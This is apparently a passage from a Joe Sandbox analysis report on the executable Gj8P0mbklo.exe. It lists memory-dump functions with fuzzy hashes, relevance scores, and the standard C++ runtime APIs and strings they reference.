Instruction ID: e7d016d6b601dafd89c1e8289029fae129567072a2423850d20703c7fdbd9473
Opcode Fuzzy Hash: cbd5154997df5bd859549a31d51ee0ac633cd2f073188a6de64b8bae13f094db
Instruction Fuzzy Hash: BD617B71E0020A9FDB15CF69C8806AEB7F6EF99310F25C569D956E7748E730EA11CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0036A070 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 722686e66830387311d75355ad13908e5f66143ec5f07f46730c677e0da0fefd
Instruction ID: e4a476b8a88518109d0018a8b010521ca83c01e9c354daaabdff07e9629a4ee7
Opcode Fuzzy Hash: 722686e66830387311d75355ad13908e5f66143ec5f07f46730c677e0da0fefd
Instruction Fuzzy Hash: 0A511673E001246BDB18EAA99C41DBFF7BADFC9314B06817AF805FB241D6369D018AD0

Uniqueness

Uniqueness Score: -1.00%

Function 00373E50 Relevance: .2, Instructions: 213COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 31bd7eb2b6502ce20005ed65f0aff3a0bb4fc125eb5ad9bc68e54f3051c90e1f
Instruction ID: 465706fda8e1adeb9421e971a3c3fa5ff1a2aa6fd5eefd68d3f961fa2d75f357
Opcode Fuzzy Hash: 31bd7eb2b6502ce20005ed65f0aff3a0bb4fc125eb5ad9bc68e54f3051c90e1f
Instruction Fuzzy Hash: DB814535E00245CFDB26CF68C4907AEFBB2AF56300F1586ACD84887353C7399A49DB60

Uniqueness

Uniqueness Score: -1.00%

Function 003666E0 Relevance: .2, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1e4ea8a0b040e841178d5b6f644c211451be2941b5ad59dbd2e94a292912edc
Instruction ID: 3573e0eb6695f3a0f83653006bbacbafe1ddcad37a5c60a818d7243a047f3e96
Opcode Fuzzy Hash: a1e4ea8a0b040e841178d5b6f644c211451be2941b5ad59dbd2e94a292912edc
Instruction Fuzzy Hash: 0B51CE71B005168FDB09CF6DC8421BEB7B2EB983A4B69C63DD506DB748E630E911CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0037BF8E Relevance: .2, Instructions: 156COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1b36d80149b9a0878556a05ebcaa603ece604499cb7d2b30698b6347d275ee2
Instruction ID: 0516ffe292abc501bf8406bc9e844388aad7b23e22fb93c68bb9a1451ad358a2
Opcode Fuzzy Hash: a1b36d80149b9a0878556a05ebcaa603ece604499cb7d2b30698b6347d275ee2
Instruction Fuzzy Hash: D2517E72D00219EFDF15CF98C850AEEBBB5FF88304F4A8459E915AB241D7389A51CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00354780 Relevance: .1, Instructions: 110COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c8b0b9c1a62480a236227887d92c755a46d6c3b786c99c51580d612cbc1c266
Instruction ID: ee173355a4164c5ecead21d314a0b9fdb62f7e2625b5fd2a7bc56c70aa2a749b
Opcode Fuzzy Hash: 8c8b0b9c1a62480a236227887d92c755a46d6c3b786c99c51580d612cbc1c266
Instruction Fuzzy Hash: B441B721219BC48FC739DE6C881159A7FE0DF66215B444B8DE8DB87B83C214E64DC7E6

Uniqueness

Uniqueness Score: -1.00%

Function 00377220 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: db86fde20ce7f36d637c85cb23506fa5ddd1482cf61301c9f1b1abaa7f2ba24e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 5C119E7720C04143DA37863DC4B86F7A395EBD632072ECB7AF0798BB26D12BD8009900

Uniqueness

Uniqueness Score: -1.00%

Function 00351310 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0306b55f0b0c0deecf23286ed4b9f98b611648aebeb63247df45b47797c7eec
Instruction ID: b699947cbd32bc414428b11567ce738cdb0b76b883daacab48136196b0ac42e4
Opcode Fuzzy Hash: d0306b55f0b0c0deecf23286ed4b9f98b611648aebeb63247df45b47797c7eec
Instruction Fuzzy Hash: B30188319350B10A870E8B3D9821937BBA5EB4335334B03ABD987EB4D2D419E524D7A0

Uniqueness

Uniqueness Score: -1.00%

Function 003743F0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 193COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00374411
std::_Lockit::_Lockit.LIBCPMT ref: 0037442C
std::_Lockit::~_Lockit.LIBCPMT ref: 0037444C
std::_Lockit::~_Lockit.LIBCPMT ref: 00374473
std::_Lockit::_Lockit.LIBCPMT ref: 003744DE
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00374526
__Getctype.LIBCPMT ref: 0037453C
std::_Locinfo::_Locinfo_dtor.LIBCPMT ref: 0037457D
std::_Lockit::~_Lockit.LIBCPMT ref: 00374612
std::_Facet_Register.LIBCPMT ref: 00374618

Strings

:7, xrefs: 00374478
:7, xrefs: 00374404
bad locale name, xrefs: 0037463C

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Locinfo::_$Facet_GetctypeLocinfo_ctorLocinfo_dtorRegister
String ID: :7$:7$bad locale name
API String ID: 103145292-3064447370
Opcode ID: 7cfc9a161db8ff16fffb995a48f1f2ab125cf9be17bd76e6622f43544073f73b
Instruction ID: eab3c34a8aaf7c7128417c010ddef0f458362f62cbd531d0b3a5a5ca86b6208f
Opcode Fuzzy Hash: 7cfc9a161db8ff16fffb995a48f1f2ab125cf9be17bd76e6622f43544073f73b
Instruction Fuzzy Hash: E471C0B5D002099FDF23DFA4D881BAEB7B4BF15310F058169E808AB241EB38F945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00378EBE Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00378FDD
___TypeMatch.LIBVCRUNTIME ref: 003790EB
_UnwindNestedFrames.LIBCMT ref: 0037923D
CallUnexpected.LIBVCRUNTIME ref: 00379258

Strings

csm, xrefs: 00379014
csm, xrefs: 00378EFB
csm, xrefs: 00378F68
Le9, xrefs: 00378FD4

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: Le9$csm$csm$csm
API String ID: 2751267872-2961622526
Opcode ID: f2c8e6e4eef536a19cd1f4caa1801b1731ca5d0463f707117a3818ce165242ab
Instruction ID: 25e71516aa3ff3fc758817852c35c9b55f1508085f60c996965ad348fe6f1760
Opcode Fuzzy Hash: f2c8e6e4eef536a19cd1f4caa1801b1731ca5d0463f707117a3818ce165242ab
Instruction Fuzzy Hash: 34B18271800209EFCF36DFA4C885AAEB7B5FF05310F51865AE8196B212D739DA61CB91

Uniqueness

Uniqueness Score: -1.00%

Function 003760E0 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 003760E6
GetProcAddress.KERNEL32(00000000,GetCurrentPackageId), ref: 003760F4
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00376105
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00376116

Strings

GetSystemTimePreciseAsFileTime, xrefs: 003760FA
GetTempPath2W, xrefs: 0037610B
GetCurrentPackageId, xrefs: 003760EE
kernel32.dll, xrefs: 003760E1

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetCurrentPackageId$GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1247241052
Opcode ID: 3a6500a137421b9e76ff6b17a31c074f8fa25a0fc2aea7f51f78e83f4c57d4a2
Instruction ID: aab95f24910d0b7a6c7255077f535f8fb571f06faae2331900e257ea82db8a7b
Opcode Fuzzy Hash: 3a6500a137421b9e76ff6b17a31c074f8fa25a0fc2aea7f51f78e83f4c57d4a2
Instruction Fuzzy Hash: 22E0EC7995B310AB8B036F75BC4F8C63EADEA4AB11B010426F50AD23A0DAB608418B90

Uniqueness

Uniqueness Score: -1.00%

Function 00364410 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 285COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 0036453A
___std_exception_copy.LIBVCRUNTIME ref: 003647D9

Part of subcall function 00356470: ___std_exception_destroy.LIBVCRUNTIME ref: 0035647E
Part of subcall function 00356470: ___std_exception_destroy.LIBVCRUNTIME ref: 0035648D

Strings

parse_error, xrefs: 003645EE
parse error, xrefs: 00364668
value, xrefs: 003644A4
attempting to parse an empty input; check that your input string or stream contains the expected JSON, xrefs: 0036443D
Te9, xrefs: 003647C6

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ___std_exception_destroy$Concurrency::cancel_current_task___std_exception_copy
String ID: Te9$attempting to parse an empty input; check that your input string or stream contains the expected JSON$parse error$parse_error$value
API String ID: 1464283508-2277852587
Opcode ID: 5396b17bf77cbed8277725f7483356ac4adab02a615dc24651de6bfbb6586638
Instruction ID: 800915b8e5caefa3e96766c24f61e3ba53860f9cc16b9c5b166e9df76fd2cef4
Opcode Fuzzy Hash: 5396b17bf77cbed8277725f7483356ac4adab02a615dc24651de6bfbb6586638
Instruction Fuzzy Hash: ECB1F171D002488BDB1ADFA4CC96BEDBB71FF16300F14865DE4057B692EB75AA88CB50

Uniqueness

Uniqueness Score: -1.00%

Function 003888AB Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00388931

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 5ee2fe975661c3f3a06b09353ebd3b379a61c661aa420a013c28599f51580a80
Instruction ID: 406cdf572f805bf3130706eca97950e6f59ea244c5241cfc9afbe1245dbe13c0
Opcode Fuzzy Hash: 5ee2fe975661c3f3a06b09353ebd3b379a61c661aa420a013c28599f51580a80
Instruction Fuzzy Hash: 20B16572A00355AFDB17EF28CC82BBE7BA5EF55310F554196E904AF282DB74E901C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 003763B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 003763E7
___except_validate_context_record.LIBVCRUNTIME ref: 003763EF
_ValidateLocalCookies.LIBCMT ref: 00376478
__IsNonwritableInCurrentImage.LIBCMT ref: 003764A3
_ValidateLocalCookies.LIBCMT ref: 003764F8

Strings

csm, xrefs: 0037648D

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 40a4a2934f0eece077e3420a29fb102131f8cd031ea83955e4564b7b4e2b8b0e
Instruction ID: e7d217fb82871c6e07f303ff35179e3581c6dffb8b9e4f5c33305d9feb3b96a6
Opcode Fuzzy Hash: 40a4a2934f0eece077e3420a29fb102131f8cd031ea83955e4564b7b4e2b8b0e
Instruction Fuzzy Hash: 8441D534A00609ABCF22DF69C896A9EBBB4FF05324F14C155E81C5F392C7399906CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00386B1A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,?,?,145F793C,?,00386C29,?,?,00000000,?), ref: 00386BDB

Strings

api-ms-, xrefs: 00386B71
ext-ms-, xrefs: 00386B85

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: fcab7bffe94a1f70c86213288753d4096fbfa6b0a91949de107cb1a83888be71
Instruction ID: 9e6eeecf0536ec739f1a9af7f076692a2d52c22e99178110e3ce9ea3e099f5e0
Opcode Fuzzy Hash: fcab7bffe94a1f70c86213288753d4096fbfa6b0a91949de107cb1a83888be71
Instruction Fuzzy Hash: 1021B772A05311ABCB23BB26DC83E6A7B5C9B41764F260295E906E73D0DB31ED01C7E0

Uniqueness

Uniqueness Score: -1.00%

Function 00393FB8 Relevance: 9.2, APIs: 6, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(02751DB8,02751DB8,?,7FFFFFFF,?,00394288,02751DB8,02751DB8,?,02751DB8,?,?,?,?,02751DB8,?), ref: 0039405E
__freea.LIBCMT ref: 003941F3
__freea.LIBCMT ref: 003941F9
__freea.LIBCMT ref: 0039422F
__freea.LIBCMT ref: 00394235
__freea.LIBCMT ref: 00394245

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: __freea$Info
String ID:
API String ID: 541289543-0
Opcode ID: 47ca05893abe6710b3b301d7d6a755ee855877cb8afdd9c5c860b599b5aff506
Instruction ID: aefa2736bc18c13fec95902c287b750584b190208eedb8b74e8a69d51b3ea1ce
Opcode Fuzzy Hash: 47ca05893abe6710b3b301d7d6a755ee855877cb8afdd9c5c860b599b5aff506
Instruction Fuzzy Hash: 747119729002095BDF239F649C42FAFB7F9EF45314F160459FA54AB282D735DC468760

Uniqueness

Uniqueness Score: -1.00%

Function 0037897A Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00378971,0037672C,00375534), ref: 00378988
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00378996
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 003789AF
SetLastError.KERNEL32(00000000,00378971,0037672C,00375534), ref: 00378A01

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 37b5c098edf7e975bdda2bd463c3d585104a6f8d5baa705ceb69e7feceadd8c5
Instruction ID: 0c4786fb3cc3f636b02172b90e19eb328bd4b7775a42b6f32e6e512a108fc2b5
Opcode Fuzzy Hash: 37b5c098edf7e975bdda2bd463c3d585104a6f8d5baa705ceb69e7feceadd8c5
Instruction Fuzzy Hash: 1201B13354D3155EE63B27787CCAA7A2A9CEB06374F60832EF628592E0FF194C009685

Uniqueness

Uniqueness Score: -1.00%

Function 003562C0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 170COMMON

Download Yara Rule

Strings

Te9, xrefs: 00356439
, column , xrefs: 00356395
at line , xrefs: 0035637E

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: at line $, column $Te9
API String ID: 0-550572365
Opcode ID: 32bca245c2d60094fc3b68f2e590a821b6faffad71d1751a2abfb384ff882429
Instruction ID: 2f1d4b2b79d394278bdc2f0dea7447959f14048f4e8cc3ad5f75f93312b7669a
Opcode Fuzzy Hash: 32bca245c2d60094fc3b68f2e590a821b6faffad71d1751a2abfb384ff882429
Instruction Fuzzy Hash: 98516971A002045BCB1ADF68CC96EEEBBB9EF45310F44452DF905AB762C774AE49C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00384D47 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Users\user\Desktop\Gj8P0mbklo.exe, xrefs: 00384D63

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID:
String ID: C:\Users\user\Desktop\Gj8P0mbklo.exe
API String ID: 0-3216855326
Opcode ID: 9fbcc4d7427ad1d38bebccf6ee648cd65bcb09164d35bfa7733aef9d12c28cab
Instruction ID: d7d4e25acf808f6c79ce812bf03dd8edc6f0eb41e66d6e91596f9ee45955415e
Opcode Fuzzy Hash: 9fbcc4d7427ad1d38bebccf6ee648cd65bcb09164d35bfa7733aef9d12c28cab
Instruction Fuzzy Hash: A021927160030BAFDB22BF70CC81A6BB7ACBF003687118595F9298BA51E731EC10C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 00381747 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,145F793C,0037A97D,?,00000000,003953A1,000000FF,?,00381723,C95B5E5F,?,003816F7,0000000C), ref: 0038177C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0038178E
FreeLibrary.KERNEL32(00000000,?,00000000,003953A1,000000FF,?,00381723,C95B5E5F,?,003816F7,0000000C), ref: 003817B0

Strings

mscoree.dll, xrefs: 00381775
CorExitProcess, xrefs: 00381786

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

Associated: 00000000.00000002.2152252733.0000000000350000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152294843.0000000000396000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152309281.00000000003A7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152320066.00000000003A9000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_350000_Gj8P0mbklo.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 1f93a9489c703e3fa96bc2f8f258620417fe321fc378246e0a990e31380d54ee
Instruction ID: d93c36d0d745103c5440d2a8686df89e3578a6a7454d0beee76a47f6e6786ffc
Opcode Fuzzy Hash: 1f93a9489c703e3fa96bc2f8f258620417fe321fc378246e0a990e31380d54ee
Instruction Fuzzy Hash: A9018131945629EFDB139F54DC46BAEBBBCFB45B15F00062AF812E2390DB769901CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00364590 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 232COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 003647D9

Strings

parse_error, xrefs: 003645EE
parse error, xrefs: 00364668
Te9, xrefs: 003647C6

Memory Dump Source

Source File: 00000000.00000002.2152269014.0000000000351000.00000020.00000001.01000000.00000003.sdmp, Offset: 00350000, based on PE: true

